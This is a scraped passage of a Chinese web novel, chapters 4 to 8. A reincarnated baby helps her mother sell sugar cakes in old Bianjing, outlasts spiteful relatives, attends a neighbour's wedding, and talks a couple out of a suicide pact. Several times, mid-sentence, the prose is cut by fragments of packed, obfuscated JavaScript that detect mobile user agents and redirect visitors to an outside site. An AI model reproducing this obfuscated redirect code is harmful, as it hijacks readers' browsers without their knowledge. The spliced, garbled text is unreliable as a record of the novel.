d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060879|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市已过,但此刻还有刚睡醒的汴京人出来逛街买吃食。 一些汴京百姓家里甚至不会开火,这种糖饼颇受欢迎。 刚走两步,只听刘婶子声音传来:“怎么有糖饼的香味。” 刘婶子定睛一看,锁定目光。 苏娘子颇不好意思:“闲着无事,做些糖饼贴补家用。” 刘婶子问了价格,虽说有些肉痛,还是买了张糖饼,算是支持苏娘子的活计。 这家人良善,又给自家介绍那样好的女婿,是该买一张的。 刚出门便有买卖,苏娘子脸上带了欢喜,苏茵茵肉肉的小手一拍一拍的,像是在鼓励一般。 苏娘子心里恐惧少了些,若她一个人,还不敢来呢,有宝宝陪她,做什么都可以。 西市上人来人往,宫变过去大半年,汴京悠闲百姓逐渐恢复日常生活。 沿街叫卖的,从乡下过来买生鲜的,还有时令水果摆摊,偶然有小轿路过,轿夫嘴里客气,脚步稳稳,十分有活力。 苏茵茵平日待在家中,头一次见到这样的场景。 坊间集市左卖麦糕,右卖菜肴,间隙中各色玩具,加之店铺间衣裳首饰比比皆是。 七月下旬天气带着热意,坊间男男宝宝虽有避讳,却无后世传说那般夸张。 苏茵茵感觉自己眼睛不够用。 这就是古代的坊市啊! 好热闹呀。 探头探脑的小宝宝表情灵动,一双大眼睛炯炯有神,让过往路人忍不住看了又看。 看多了之后,又被苏娘子篮子里的清糖饼吸引。 要不,来一张? “你家小孩可真好看,怎么养的啊,肉嘟嘟的,唇红齿白。”路人刚夸,便见小宝宝朝他咯咯笑,瞬间被可爱宝宝击中内心,“我买,买三张糖饼。” 苏娘子刚刚站稳,开张了? 她都来不及紧张,还好她手脚麻利,早准备好油纸,认认真真包好糖饼,还用干净的帕子垫着,看起来既干净又利落。 这番动作让客人好感十足。 再咬一口糖饼。 哎? 好好吃。 用料很扎实。 苏茵茵目不转睛盯着客人看,好吃吧好吃吧,我娘亲做的! “好,好吃。” 苏茵茵瞬间拍起小手,眼睛笑眯眯的,看着像个喜气的小仙童。 这样可爱的小孩,几乎吸引所有路人的目光。 她好像能听懂夸奖? 笑起来让人心情格外好。 “你们卖糖饼的?” “给我来一张。” “我也要一个。” “小宝宝,你笑一下,姐姐就买糖饼。” 苏茵茵看着可爱的小姐姐,凑过去亲亲姐姐脸颊。 买一个吧,买一个吧! 买买买! 她全买! 路过的年轻女子笑得眼睛都看不到了,她刚成亲没多久,要是能生一个这样的宝宝,那就好了呀。 苏娘子傻眼,根本来不及思考,带过来的二十张饼瞬间销售一空。 她走出家门,还不到半个时辰吧。 这就卖完了。 苏娘子捂好钱袋子,狠狠亲了宝宝一口。 她家宝宝真是小福星。 没买到的路人颇为遗憾,盼着苏娘子跟小宝宝明天再来。 糖饼哪都有,这么讨喜可爱的宝宝,只有这一个! 5. 第 5 章 第5章 “二十张清糖饼,共计一百六十文,扣掉成本,赚了五十文。” 苏娘子攥紧五十文,这是她头一次挣到钱,还有些反应不过来。 五十文不算多,但是个很好的开始! 晚上,苏家加餐,饭桌上都在讨论今日的事。 苏娘子说道:“他们一看到咱家宝宝,就忍不住买糖饼,真是个小福星。” 苏副使,哥哥苏显点头。 不仅是妹妹小福星,也因为苏娘子的糖饼做得好。 “明日要多做一些才成。” 第二日做了四十张清糖饼,出门的时候有些晚了,到集市的时候,竟然还有人在等着。 苏娘子做的饼子物美价廉,用料扎实,自然有回头客。 当然了,顺便来逗逗小宝宝,也是目的之一。 趴在娘亲身上的小宝宝努力卖萌。 她可以的! 今天多卖一份萌,就能多卖一张饼! 把她每日喝的牛奶补回来! 六个多月的婴儿眨巴着大大的眼睛,像是夜空中最明亮的琉璃,童真可爱,让人心都软了。 谁看到这一幕,能不买张清糖饼 苏娘子今日卖饼的速度,只快不慢! 贵气孩童被带过来时,干净整洁的篮子里,剩下最后一张清糖饼。 还好他身后的仆从赶紧道:“这张我们要了。” 说罢,掏出一块碎银,约莫二十文左右,让其他人望而却步。 苏茵茵都看傻了,眼神带着疑惑,盯着小孩看。 这个小孩三四岁的样子,衣裳虽低调,质地缺好。 不过他有些过于瘦了,笑脸满是阴郁。 糖饼到了小孩手中,他像是极不情愿,稍稍咬了一口,难吃两个字刚要说出来,正好跟大眼睛宝宝对上视线。 小孩默默咽下糖饼,淡淡道:“还行。” 还行?! 仆从兴奋了。 终于找到殿下爱吃的东西了吗! 苏娘子那边已经数了十二文钱,塞到仆从手中:“八文就够了,你们的碎银子太多了。” “没事没事,就当打赏得了,我家主子爱吃,多少钱都花得。” 哇,大客户! 苏茵茵肉嘟嘟的小手往前挥舞,明显要拉住眼前的小孩。 小孩沉默片刻,削瘦的手指碰碰小肉手。 小宝宝啪地一口亲到小孩手指上,咯咯笑起来,笑声甜甜的,周围客人哇了一声。 太可爱了啊! 这小孩要是他家的就好了! 被亲手指的小孩耳朵闪过红晕,赶紧把手缩回去。 另一只手紧紧握住糖饼,在小婴儿的目光下,三下五除二解决饼子。 “太好了,太好了。” “老爷夫人知道,一定很高兴。” 仆从赶紧掏出银钱塞给苏娘子,不容推脱:“这是定金,您能不能再做一些,我家公子难得有喜欢的吃食。” 苏娘子跟苏茵茵傻眼。 她们没想到,会有如此效果。 削瘦的小孩皱眉离开,那仆从竟然不担心她们拿钱跑路吗? 卖糖饼第一天,挣了五十文。 卖糖饼第二天,挣了一百文,还有十二文打赏,以及五百文定金。 这,这合理吗? 苏茵茵忍不住小声嘀咕,大城市机会果然多啊。 可惜她还不会说话,咿呀咿呀,只当她是在笑。 苏娘子拿着银钱回家时,人都是懵的。 苏副使回家得知此事,同样颇为诧异,但他在外面走动时间长,解释道:“汴京城非富则贵的门户极多,或许是碰上大户人家了。” 西市,北市还好些,若去东市南市,随便拉住一个人,或许都是朝廷命官的家眷或仆从。 “那我便收下了,明日定然好好做清糖饼,不辜负这份定金。”苏娘子为人真诚和气,她说会好好做,必然极用心。 话说回来,那她今日可以多割些肉,给家里做顿丰盛的晚饭。 不多时,苏家做的红烧肉香飘常安巷,路过她家门口,都要多闻几下。 肉真香啊。 门口一对衣着崭新的夫妇咬牙。 好个苏家二房。 背着他们偷卖清糖饼不说,还卖的比他们便宜,实在可恨。 不年不节的,都吃上肉了! “哎呦!都吃上红烧肉了!婆婆还说你家艰难,让大房多出些家用,看来都是骗我这个当大嫂的啊!” 不速之客上门,苏茵茵有些迷茫。 穿得花红柳绿的妇人是谁啊。 这妇人穿了件新新的艳色衣裳,头上簪着几根银钗,最上头那个包金,最为耀眼。 “大哥大嫂,你们怎么来了。”苏娘子下意识笑着打招呼,苏副使点点头,算是有所表示,明显不待见她。 “大伯娘,你怎么不敲门。”苏显冷脸道。 苏茵茵睁大眼睛。 这就是在初春满月酒送她夏日鞋子的大伯娘? 苏家两个儿子,长子长媳一家继承苏家的手艺,在北市开了间小点心铺。 次子二儿媳,苏茵茵的爹娘,一个当兵打了几年仗,一个在城郊乡下带着儿子照顾公婆。 苏家大伯娘颇为怨念地看着苏家二儿媳一家。 若不是苏家老二踩了狗屎运进了兵马司,京城出乱子又有功绩当了副使,那就是一辈子不如他们大房的废物。 现在好了,竟然还能吃得起红烧肉,真是运道好。 她远远就闻到了。 就连清糖饼卖得也好,她要不是偶然听说,还不知道这回事呢! 这不是跟她家抢生意吗! 不行! 不是说那死老太婆身体不好,只教了周慧女三种点心吗。 难不成老太婆有私藏? 苏大伯直接坐到主位上,开口道:“不打招呼,就不能来?” 场面一时尴尬。 就算是苏茵茵都看出来,大伯两口子是来找茬的。 随便想想便知道,肯定因为娘亲清糖饼卖得好,招人眼红了呗。 抱着妹妹的苏显自然也知道,紧紧搂住妹妹,准备随时抱着妹妹离开,不让她被吓着。 大伯大伯娘对他们家一向不好,分家了基本不联系,这会上门,不会有好事。 “对了,上次小孩满月,我还让人送了双鞋子过来,怎么不见穿啊。”大伯娘眼神扫了一圈,确定二房家还是那样穷,心里好受了,不会还惦记她送的那双鞋,“要是不穿的话给我呗,我家孙子就要出生了,让他穿。” 哦,初春送了双夏日的小鞋,就是算着时间,让她预产期在夏天的孙儿穿。 好算计啊。 苏茵茵打了个哈欠,歪头在哥哥肩上。 下一秒,惊天动地的哭声从她嗓子里传出。 脸色难看的苏副使,面上为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060880|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难的苏娘子,还有冷脸的哥哥苏显,立刻围过来。 宝宝怎么哭了。 还哭得这么厉害。 宝宝出生以来,从未这样哭过,以前顶多哼唧两声,还有断奶时默默流泪。 这般哭的地动山摇,还是头一回。 邻居刘婶子都跑来了,惊愕道:“茵茵怎么了?哭得这样凶。” 刘婶子看见苏家的两个客人,带了诧异,随即反应过来。 这就是苏娘子那刻薄大哥刻薄嫂子? 当年苏副使还没当官,只是边关小兵,家里只有苏娘子跟小苏显。 黑心夫妇俩没少欺负温柔的苏娘子,还把生病爹娘扔到家中,自己卷着钱财去北市开店。 苏家老二回来之后气急,直接分家不说,还把他大哥收拾一顿。 两房分家,算是半断亲。 苏家大房还说什么,一个大头兵,一身伤病,还断亲,以后过得贫困潦倒,也别来他家店门前讨饭。 谁料没过几天,苏家老二被军中上司招募,进了西城兵马司当兵卒。 刚刚一年时间,又从普通小卒成了如今的苏副使。 也是这期间,接着苏茵茵满月酒,他家托人送来礼物,明显有缓和关系的想法。 不怪刘婶子知道这样多,她家可有个在兵马司当差的未来女婿。 总之提起这些事,大家都为苏副使鸣不平。 这也是苏副使苏娘子愿意接济贫苦军中旧友的缘由。 苏娘子当年太苦了。 刘婶子心里转得飞快,也跑到小宝宝身边,看这小孩皱巴巴一张笑脸,她都觉得心痛。 “一个丫头片子,还真当回事哄啊。” “我生养的多,你直接扔到床上,让她哭完就好。”苏伯娘说着,眼神还盯着红烧肉,颇有些蠢蠢欲动。 肉真香啊。 “嫂子,你孩子不值钱,我孩子却金贵。”苏副使冷脸,丝毫不留情面。 “你,你怎么跟你嫂子说话的。” 苏茵茵刚刚停住的哭声,瞬间又起来。 苏显看了看那俩人,再看看妹妹,试探道:“你们别说话了,你们一说话妹妹就哭。” 这跟他们有什么关系! “亏你还读书呢!知不知道尊重长辈?” 小宝宝哭声再次响起。 好像还真是! 刘婶子看傻眼了,下意识道:“都说小孩最有灵气了,天生知道谁讨人厌啊。” “看来是真的。” “胡乱说什么,她一个小屁孩知道什么。”苏伯娘吼道,她被哭的心烦意乱,完全忘了自己过来的目的。 两人直接被苏副使赶出家门,别说红烧肉,水都没喝上。 原本想跟二房的说,他们不准再卖清糖饼,计划完全被打乱了! 还有那双满月娃娃的鞋子也没要回来! 哭哭哭,就知道哭! 两人仔细一听,二房屋里没哭声了,反而是小孩咯咯笑声。 难道说,小孩真能感觉到谁讨人厌? 这要是传出去,他们还要脸吗。 跟着出来的刘婶子手里还端着一个碗,碗里放着几块红烧肉,目光扫过他们,像看什么晦气东西一般。 完了,这人的嘴,肯定会加油添醋说出去。 屋内不哭了的苏茵茵安心在娘亲怀中。 欺负娘亲的,都是坏人,大坏蛋! 谁都不能欺负她娘亲! 6. 第 6 章 第6章 第二天起来,苏茵茵打了个哈欠,昨天哭的有点累,今天有点睡不醒。 苏娘子见状,请隔壁刘家帮忙照看宝宝,今日就不带她出去了。 等苏茵茵睡醒,刘婶子跟刘姐姐才放开声音说话。 两人讨论的,正是刘姐姐的婚事。 婚事繁琐,分为小定,大定。 小定算是初步的手续,需要起草简略的庚帖,写上两家双亲三代名讳等等。 虽说多是男方去办,女方这边同样不可马虎。 未来女婿丁鹏正丁家已然临时搬到京城,便是为小定的事。 苏茵茵本就刚醒,被一长串繁琐的礼仪说的又有些困了。 这些事情不算麻烦,却极为琐碎,许多人户弄不明白,还须请有经验的长辈坐镇。 刘婶子那边热好牛奶,让苏茵茵吃了几口,见她还困,笑眯眯道:“以后你若生个这样乖巧的女娃娃,娘给你带。” 刘姐姐满脸羞红。 怎么提到这事。 可若真生个茵茵这般可爱的宝宝,她确实愿意。 听了一会,苏茵茵才精神过来。 娘亲呢! 见宝宝四处张望,刘姐姐哄着道:“你娘亲出去卖清糖饼了,见你睡得熟,就没喊你。” 刘家姐姐没指望小婴儿能听懂,说罢想到早上吃的清糖饼,忽然拉住她娘:“娘,小定需要喜饼吗。” 本地的风俗,不管小定大定,杂七杂八的物件里,必然会有喜饼,由男方送到女方家里,算是个好意头。 刘姐姐继续道:“喜饼的做法跟清糖饼类似,不若咱家的喜饼让周姨做。” “这个好。”刘婶子点头,“亲事就是茵茵她娘说的,请她做喜饼再合适不过。” 想来丁家同样愿意。 苏茵茵听到刘姐姐要在她家定喜饼,别提多高兴,小手挥舞着。 好耶,家里又要赚银钱啦。 中午回来的苏娘子听到此事,自然高兴,能给家里补些家用,自然是好的。 清糖饼去糖加鸡蛋,便是喜饼的做法,她必然会认真做的。 苏娘子到家的时候,篮子里还有没卖完的二十多张清糖饼,今日做了四十张,上午只卖出十多个。 而且还是跟相公苏副使一起回家的。 想到上午的麻烦事,苏娘子微微摇头。 苏茵茵看出娘亲皱眉,咿呀咿呀的,像是要跟娘亲说话一般。 女儿可爱的模样让她心里舒服了不少。 苏副使皱眉,进门跟刘婶子打了招呼,便道:“苏家大房的,实在过分。” 早上竟然去找他娘子的麻烦。 还好巡街的兄弟看到,帮了忙不说,还找人通知他。 苏茵茵震惊。 她一上午没跟着娘亲,怎么还有这种事啊。 苏娘子性格温柔,叹气道:“她说是两家都卖清糖饼会抢买卖,让我换一个做。” 刘婶子在一旁无语:“她在北市卖饼,你在西市卖,这能抢吗?分明是找茬。” 有些人是这样的,自己能不能挣钱不要紧,要紧的别人不能挣。 “你也别太好脾气了,跟她吵啊。” 苏娘子不是个吵架的性子,她文静内敛,甚少跟人有口角。 “还好,有个富家少爷正好在,他家仆人帮我打发走。”苏娘子解释道,“就是昨天给了定金那家。” 明明只有三四岁,气势却吓人,他的仆从更是厉害,几句话就把人赶走。 随后相公同僚看到,帮忙料理此事。 不过还是耽误时间,上午卖的清糖饼骤然减少。 还好,闺女在家里便招揽了买卖。 若不是正好闺女没起来,估计不会有邻居刘家喜饼的生意。 苏茵茵搂住娘亲脖子,明显很是心疼。 苏副使听完后,直接道:“放心,他们家以后不会来了。” 啊? 这是怎么了? 苏茵茵瞬间看向爹爹。 面对女儿的目光,苏副使轻咳:“北城兵马司的兄弟最近几日会去逛逛。” 苏副使沉默寡言,为人仗义,平日没少接济兄弟们。 他家有事,不用多说,都有人帮忙。 昨日惹哭他闺女,今日去找他娘子麻烦。 必须重拳出击。 苏茵茵放下心,她担心是多余的。 有爹娘在,好像很有安全感。 刘婶子同样放心了,这才回家做饭。 下午,带着茵茵出门卖清糖饼的苏娘子,再次感受到飞快卖饼的快乐。 带着闺女出来,卖饼的速度都快了很多。 苏茵茵又看到那个削瘦的富贵少爷。 三四岁的样子,表情阴沉。 但她知道! 这是个好心人! 帮她娘亲解围了! 小少爷抬头看朝他伸手的小婴儿,迟疑片刻,还是伸出手。 柔软的手指抓住他的手,像是毛球的肚皮一样软和。 毛球是他母后养的小猫。 小少爷再次把清糖饼塞到嘴里,迅速跑开。 接下来几个月,苏家人的生活非常规律。 早上吃过饭,苏副使上班,苏显上学。 苏娘子跟苏茵茵收拾东西去集市卖清糖饼,一天四十张,绝对不多做,再多卖不出去。 一个月下来,竟然有五两四钱的进账,家里开销明显松快不少。 临近年底,苏娘子算着手里攒的银钱,准备给孩子们作身新衣裳,新鞋子。 十一月的苏茵茵已经会走路了! 虽然走的时间长了,便像小鸭子一样晃悠悠的,但谁家孩子像她一般,十一个月就会走? 苏茵茵觉得,是每日喝牛奶的缘故? 娘亲还说,她哥今年也长高不少呢。 小鸭子苏茵茵摇摇晃晃扑到爹爹怀里,抬头道:“爹爹,爹爹。” 再多的苏茵茵也说不出来。 这是她迎接爹爹回家的仪式。 苏副使今日下午休息,刚好跟家人一起出去置办年货。 苏显还道:“娘,我就不用新衣裳了,给妹妹买吧,我还能长个子。” “买,都买,长高了就补补。”苏娘子揣着荷包,还道,“放心,娘有钱。” 苏副使也道:“爹今年发的俸禄也多,放心。” 苏显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏茵茵握拳,新的一年,她一定会说更多更多的话! 下了马车,苏茵茵被各种布料包围。 各个布庄的伙计们,一个劲的夸小宝宝可爱,还说什么,这么粉嫩可爱的小娃娃,用什么布料做衣裳都好看。 “别家小孩试这么多布料,肯定要闹人的,你家孩子怎么这样乖。” “这大眼睛,像葡萄一样。” “你家娃娃能做年画娃娃了。” 苏茵茵严重怀疑,爹娘就是被这种话术忽悠了,才会给她买了两身布料的! 衣料店逛完,还有各类年货,苏茵茵手里被塞了不少吃食,小肉干,小米饼,差点还给她塞了个糖人。 回家的时候,苏茵茵抱着满怀的玩具,累得几乎睡过去。 谁也没告诉她,跟家人一起逛街是这种感觉呀。 苏茵茵睡得迷迷糊糊,跟哥哥一起,被爹娘搂在怀里。 等她再醒的时候,正躺在她的小床上,身上盖着柔软暖和的被褥,还有太阳晒过的味道。 小茵茵蹬蹬小腿,掀开被子,手边还有昨天买的小木人,彩色的风车挂在床边。 爹娘哥哥在另一间屋子小声说话。 十一个月的小宝宝翻了个身,把自己蒙在被子里。 好幸福啊。 这就是幸福吧。 7. 第 7 章 第7章 安盛三年,二月初十。 香甜的牛奶带着温热,被苏茵茵一口喝下。 吃过早饭啦! 收拾收拾! 准备去喜宴啦。 三岁的苏茵茵基本有了自理的能力,她拿着小帕子擦擦嘴,又抱着自己的小碗哒哒哒往厨房跑。 哥哥苏显今年十一,顺手拿走妹妹的小碗,连带着他的碗一起洗刷干净。 今日一家四口都换上体面衣裳,准备去丁家跟刘家的婚宴。 苏茵茵没满月的时候,爹爹的下属丁鹏正便跟邻居姐姐口头许了婚事,当年年底便过了小定。 如今终于要成亲啦。 苏家也算媒人,特别是苏茵茵,要不是为了看小孩,这对郎才女貌的姻缘也不会成。 丁家送给刘家的喜饼,还是苏娘子亲手做的,今日喜宴上还会发给宾客们,他家肯定要过去的。 二月的天气暖和不少,苏茵茵一手牵着哥哥,一手牵着娘亲,唯独拉下老父亲。 老父亲叹气,只好拿着贺礼跟在后面。 丁家跟刘家的婚事准备的妥当,女方所住的常安巷里贴了不少喜字,街坊邻居都收了喜糖,鞭炮从清晨开始,每隔半个时辰放一次。 既是催妆,也提醒时辰。 刘家忙的脚不沾地,看到苏家人来了,连忙道:“花檐子马上到了,我这心里空落落的。” 见她泪光闪闪,苏娘子忙上前道:“你之前不一直念叨,这也算了却一件大事,放心一会咱们都跟过去,都能看着呢。” “还有我,我陪新娘子,肯定不会让人欺负她!”苏茵茵自告奋勇,她甚至可以跟到洞房里面陪着! 刘婶子怜爱地摸摸小茵茵的头:“等你嫁人了,我只怕要再哭一场。” 苏娘子罢了,苏副使,哥哥苏显立刻皱眉,想到那个可能,他们心都要碎了。 说话间丁家的花檐子到了。 迎头的是新郎官丁鹏正,他骑着借来的高头大马,一身崭新的新郎红衣,上面刺绣是女方的手艺,看得让人不禁感叹。 后面跟着的花檐子由六个人抬着,这样的花轿四面并不遮挡,只用轻纱覆盖。 花檐子的顶盖周围插满鲜花,迎面走来芬香鲜活,上面的鲜花明显费了大功夫,是男方天不亮便开始布置的。 二月初十刚初春,这些鲜花可不易得。 苏副使的下属丁鹏正四肢僵硬,下马的时候差点跌倒,看到上司都没说出话,直直去女方家门前叩门。 周围女方宾客笑得弯了腰,一定要他做催妆诗才成。 苏茵茵热闹瞧得高兴,她还是头一次看古代的婚礼呢。 甚至从两人见面,到如今成亲,全程都见证了! 苏茵茵个子矮,看不到前面的场景,被爹爹直接抱起放在肩头。 这样看到了! 新郎官被调侃的求饶,在男方迎亲兄弟的帮忙下,这才成功见到新娘子。 刘姐姐一袭绿意,上面点缀金色纹饰,手拿遮面扇,脸上羞红,被新郎官稳稳背到花檐子旁。 乐声不断,待新娘子坐稳后,礼乐更是热闹。 “起檐子了!” 刘婶子夫妇上前几步,眼泪滚滚落下,被儿子儿媳扶着,方才止住脚步。 新郎官并未第一时间离开,先安慰同样落泪的新娘子,再折返安慰岳丈岳母,再三催促下,方才离开。 热闹的迎亲队伍远去,苏娘子握了握刘婶子的手,心里也不是滋味。 若她闺女这般嫁人,她恐怕哭得更厉害。 这股悲伤很快被周围人止住。 还未散去的四邻一个劲地道:“这女婿好,礼数周全,人也妥帖。” “刘婶子,你从哪找来这样好的女婿啊。” “是茵茵啊,我听刘家的说过,她家闺女去照顾还没满月的茵茵,正好跟苏副使的下属撞见。” “这般好姻缘,竟然是如此来的。” 不少人开玩笑道:“小茵茵,你也给我说个媒呗。” “我家儿子也没娶妻呢,快沾沾喜气。” 哥哥苏显直接把妹妹搂在怀里,谁敢靠近?! 好在男方准备的车马过来,赶紧请女方宾客上车赴宴。 负责招待的男方长辈还在道歉:“丁侄儿太紧张了,方才没跟您打招呼,一会定然让他来陪酒。” 苏副使并不在意这些,摆摆手:“大喜的日子,不说这些。” 男方长辈松口气,向来听闻侄儿上司人很不错,果然如此,随后又向苏娘子致谢:“您做的喜饼极好,送出去时,人人都赞呢。” 一番客气后,苏显苏茵茵被塞了两个红包。 特别是苏茵茵的,明显厚实不少。 谁让她撮合了这段姻缘! 哎? 怎么都这么说啊。 马车拉着一家四口直接去喜宴所在的园子。 丁家喜宴并不设在家中。 他家不是汴京人,一大家子是为丁鹏正的婚事才过来的,故而也没个固定的住处。 三年来,丁鹏正值了不少大夜,又跟同僚上司们借些银钱,在西城常安巷不远的地方买了处小宅子安家。 但小宅子只够新婚夫妇住的,人多一点就挤,设宴定然不成。 西城指挥使宁郡王听说此事,让人把手底下一处西郊园子腾出来,专门划了片地方,手下在那办婚事。 此等人生大事,宁郡王乐意帮个小忙。 对宁郡王来说是小忙,却解决了丁家的大难题。 郡王的园子果然气派宽敞,即使只分了一部分出来,都够双方亲朋咂舌的。 苏茵茵也被眼前的园子震撼到。 亭台水榭,九曲回廊,花香隐隐。 仪式,喜宴,都在这里进行。 哇,这里真的好看哎。 都能做专门的婚礼宴会厅了。 如果放到现代,估计提前一年才能预定到吧。 苏副使一家被请到前面观礼,拦门,撒谷豆,踏青布,捧镜跨鞍,最后迎新娘入门。 一番风俗下来,苏茵茵看得津津有味。 丁家从族中请来的长辈确实有一套,流程安排的妥妥帖帖。 进门之后,便是大家熟悉的拜天地,刘婶子眼泪停不住,只能紧紧握住苏娘子的手,等到送新娘子进洞房,女方家眷便要止步。 刘姐姐有些慌张,苏茵茵迈着小短腿立刻补上,轻轻拉着姐姐的衣袖。 她陪着! 姐姐别怕! 苏家也是男方这边的宾客,她陪着自然不算失礼。 刘家人松口气,丁家也松口气。 不愧是撮合了姻缘的小福星,有她在真好。 刘姐姐拉着苏茵茵小软手,稳稳当当进了洞房,有熟悉的人陪着,接下来的流程也没有问题。 待到外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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哭泣声越来越大,苏茵茵抖得更厉害了。 一阵风吹过,两人声音似有似无,绝对是恐怖片才会出现的场景!!! 苏茵茵偷偷挪了挪脚步,她要找娘亲,要找爹爹,还要找哥哥。 刚后退半步,正好撞到一个人胸口,硬邦邦的,好像都是骨头。 都是骨头?! 不会是骷髅鬼吧! 苏茵茵眼泪唰唰往下掉,遮着眼,根本不敢看。 削瘦的手指在苏茵茵肉嘟嘟的脸上抹去,六岁的孩子开口道:“别哭。” 说罢,又加了句:“我是人,不是骷髅鬼。” 哎?她刚刚把心里话说出来了吗。 话音落下,远处哭泣声停了,对话清晰起来。 “如今是不成了,我爹他,他绝对不愿意的。” “我娘那边也不松口,她说两家是世仇,绝不同意。” “我们就算死,也要在一起。” “好,下辈子,我们一定要做夫妻。” ??? 苏茵茵震惊地往声音方向看去,夜晚的桥上站着一男一女。 听他们的对话,是要殉情吗??? 8. 第 8 章 第8章 “不要跳!” 二月的夜风吹得人发抖。 别院桥上手拉手的小情侣鼓足勇气,准备跳入冰冷的湖水。 “不要跳!” 稚嫩声音再次响起。 软乎乎却坚定的语气,能把寒风吹散。 明明是漆黑的小花园里,凭空出现的小娃娃跳出来,非但没让人感到害怕,反而心生怜爱。 桥上的小情侣指了指自己:“小娃娃,你在跟我们说话吗。” “嗯!不要跳湖。”苏茵茵小跑两步上前,认真道,“生命只有一次,活着很快乐的。” 很快乐吗。 小情侣苦笑。 阴影里走出来的六岁男孩微微抬头。 活着不快乐。 但他没有反驳,只是站在小娃娃身后。 三年没见,她的大眼睛还是那样可爱。 不过她应该不记得自己,那时候她还是个小婴儿。 小情侣瞬间握紧手,怎么又出现一个小孩! 这个小孩看着就很阴森啊! 定睛一看,这两个小朋友应该认识,那没事了。 苏茵茵见他们还在桥上,焦急万分,跺着脚道:“哥哥姐姐,你们先从桥上下来吧,那边很危险。” 面对小朋友殷切的目光,两人迟疑片刻,还是走了下来。 就算要死,也不能在小孩面前,免得吓到人。 “今日有人在这园子成亲,你们是故意找晦气吗。” 六岁的小朋友挡住苏茵茵,冷声道。 没看到小宝宝很着急吗,还站在那不动。 原本就要从桥上下来的小情侣,现在跑的更快了,其中女子摆手道:“没有,我们不是这个意思。” 男子解释:“我们看到别人成亲,故而,故而难过。” 别人家的喜宴虽不大,却热闹隆重。 难免勾起伤心事。 现在想想,确实不应当。 便是跳河,也该找个合适的时间。 苏茵茵沉默。 六岁的小朋友也沉默。 他们不是这个意思啊! 苏茵茵小声道:“那你们也成亲啊。” 男子苦笑:“家人不允许。” 古代讲究父母之命媒妁之言。 这两家矛盾颇深,不会愿意的。 否则两人不至于殉情。 “可是死了解决不了问题呀。”苏茵茵认真道,“我听说有地方会配冥婚,你们要是跳河了,各自给你们配冥婚了怎么办。” 古代嘛。 这种事肯定有的。 苏茵茵小手一拍:“那你们地府见面的时候,一个带着自己新婚相公,一个带着自己新婚妻子!” “怎么办嘛!” 周围瞬间安静。 守在附近的暗卫瞪大眼睛。 小情侣的手握得更紧。 六岁的娃娃眼神格外复杂。 怎么可以用这样可爱的语气,说这样恐怖的故事啊! 合适吗! 想到死后也不能在一起,小情侣抱头痛哭。 苏茵茵刚想再劝,被旁边的小男孩捂住嘴:“放心,他们不会跳河了。” 说罢,又补充:“永远不会自尽。” 听了她的假设,谁会自尽啊。 那就好。 苏茵茵松口气,不死就好,她是死过一次的人,没人比她更知道,活着有多好。 活着,就会充满希望。 六岁的娃娃目光复杂。 两人一高一低站着,仿佛两个对立面,却又能相互映照。 还在哭的小情侣终于想到什么,知道软乎乎的小女娃是迷路了,当下顾不得什么:“我们送你回宴席吧。” 他俩虽不是今日的宾客,但园子大同小异,很容易找到回去的路。 苏茵茵赶紧点头。 她走了好一会,爹娘哥哥会担心的。 跟她一起劝人别跳河的小哥哥是不是也迷路了? 苏茵茵没说话,大眼睛表明一切。 “我没迷路,你走吧。” 话音落下,两个暗卫走出来,明显是他的仆从。 小情侣理智回笼,看出来眼前的小孩身份不一般。 此地是宁郡王家的园子。 难道他是宁郡王的儿孙?! 那他们偷偷来园子幽会的事? “没见过你们,走吧。”小孩冷声开口,转而再次看向软乎乎的宝宝,欲言又止。 苏茵茵读不懂面无表情的小哥哥,笑眯眯朝他挥手:“那我走了哦。” 她好饿哦,还想回家了。 小情侣牵着苏茵茵的手,随口问道:“你爹娘是谁呀,我送你过去。” 三岁的宝宝软得不行,小手跟软糖一般可爱。 哎,这要是他们女儿就好了。 “我爹是苏副使。” “我娘叫周慧女,今日喜宴发的喜饼,就是我娘做的。” “她马上要开店呢。” 苏茵茵介绍爹娘的时候非常自豪。 上辈子她根本没有这个机会呢。 这辈子可以大声说出来了。 不多时看到宴会的烛光,小情侣不好再上前,他们是偷偷出来密会的。 刚开始没想寻死,只是看着人家成亲,觉得人生无望。 现在也没觉得人生有望,但小宝宝说的那个假设太过可怕,真的不敢死啊! 苏茵茵没想到,她随口劝人的话,影响恐怖如斯。 古代媒妁之言厉害。 古代的鬼神之说同样厉害啊! 误打误撞的苏茵茵并不知情,故而还是不放心,再次劝道:“真的不要死,万一事情有转机呢。” “春天来了,这可是最有生命力的季节!” “万物复苏,一切都会好的!” 生命力。 复苏。 一切都会好的。 暗处的小孩眼皮微垂,几乎与周围的夜色融为一片。 小宝宝朝着他们挥手,小跑进宴会的烛光里,她的声音带着十足的生命:“娘亲,爹爹,哥哥!” 她找到家人了。 小孩听着宴会里的声音。 “回宫。” “去见父皇母后。” 喜宴上。 偷偷溜进洞房,又偷偷出来的丁鹏正长长舒口气。 